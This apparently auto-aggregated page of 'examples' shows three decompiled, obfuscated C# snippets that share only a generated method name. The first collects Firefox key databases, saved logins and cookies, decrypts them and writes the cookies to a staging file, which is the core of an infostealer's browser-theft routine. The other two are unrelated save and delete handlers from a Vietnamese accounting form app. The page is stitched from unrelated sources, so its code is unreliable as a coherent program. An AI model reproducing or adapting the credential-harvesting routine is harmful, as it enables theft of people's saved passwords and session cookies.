Example #1
0
    // Token: 0x060001E0 RID: 480 RVA: 0x0000F0A4 File Offset: 0x0000D2A4
    public static void smethod_2()
    {
        List <string> list = new List <string>();

        list.AddRange(Class12.smethod_0(Class12.string_0, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        list.AddRange(Class12.smethod_0(Class12.string_2, 4, 1, new string[]
        {
            "key3.db",
            "key4.db",
            "cookies.sqlite",
            "logins.json"
        }));
        foreach (string text in list)
        {
            string fullName = new FileInfo(text).Directory.FullName;
            string string_  = text.Contains(Class12.string_2) ? Class12.smethod_12(fullName) : Class12.pbkrPshvsy(fullName);
            string string_2 = Class12.smethod_4(fullName);
            Class12.smethod_7(fullName, string_, string_2);
            string text2 = "";
            foreach (string str in Class12.list_1)
            {
                text2 += str;
            }
            if (text2 != "")
            {
                File.WriteAllText(Help.Cookies + "\\Cookies_Mozilla.txt", text2, Encoding.Default);
            }
        }
    }
Example #2
0
 private void btn_Delete_Click(object sender, EventArgs e)
 {
     if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) == 1)
     {
         string text = this.btn_Delete.Text;
         if ((text != null) && (text == "&X\x00f3a"))
         {
             Class7.smethod_23(base.Tag.ToString(), 0, "trans_num", this.Txt_TransNum.Text.Trim(), "", this.oleDbConnection_0);
             Class12.smethod_4(this.Txt_Account.EditValue.ToString(), this.double_0, true);
             this.btn_Delete.Text = "&Phục hồi";
         }
         else
         {
             Class7.smethod_23(base.Tag.ToString(), 1, "trans_num", this.Txt_TransNum.Text.Trim(), "", this.oleDbConnection_0);
             Class12.smethod_2(this.Txt_Account.EditValue.ToString(), this.double_0, true);
             this.btn_Delete.Text = "&X\x00f3a";
         }
     }
 }
Example #3
0
 private void btn_Save_Click(object sender, EventArgs e)
 {
     if (this.Txt_Voucher.Text == string.Empty)
     {
         Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1);
         this.Txt_Voucher.Focus();
     }
     else if (this.Lbl_DbAccName.Text == string.Empty)
     {
         Class7.ShowMessageBox("Số t\x00e0i khoản kh\x00f4ng hợp lệ", 1);
         this.Txt_Account.Focus();
     }
     else if (this.Txt_Remark.Text == string.Empty)
     {
         Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1);
         this.Txt_Remark.Focus();
     }
     else if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0)
     {
         Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1);
         this.Txt_TranDate.Focus();
     }
     else
     {
         string str2 = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue);
         string str3 = this.Txt_Voucher.Text.Trim();
         string str4 = this.Txt_Account.EditValue.ToString();
         double num  = Class7.ParseDoubleValue(this.Txt_Amount.Text);
         double num2 = 0.0;
         string str5 = string.Empty;
         string str6 = this.Txt_Remark.Text.Trim();
         string str  = this.Txt_TransNum.Text.Trim();
         int    num3 = 1;
         if (num <= 0.0)
         {
             Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1);
             this.Txt_Amount.Focus();
         }
         else
         {
             string str7 = this.string_1;
             if (str7 != null)
             {
                 if (!(str7 == "N"))
                 {
                     if (str7 == "E")
                     {
                         if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) != 1)
                         {
                             return;
                         }
                         this.btn_Skip_Click(this, new EventArgs());
                         Class12.smethod_5(str4, this.Txt_TransNum.Text.Trim(), num, str6, true);
                         Class12.smethod_4(str4, this.double_0, true);
                         Class12.smethod_2(str4, num, true);
                     }
                 }
                 else
                 {
                     this.btn_Skip_Click(this, new EventArgs());
                     Class12.smethod_3(str, str2, str3, str4, num, num2, str5, str6, num3);
                     new Class6().ComputeTransnum("A");
                     Class12.smethod_2(str4, num, true);
                 }
             }
             Class6.transNum = this.Txt_TransNum.Text.Trim();
             Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog();
         }
     }
 }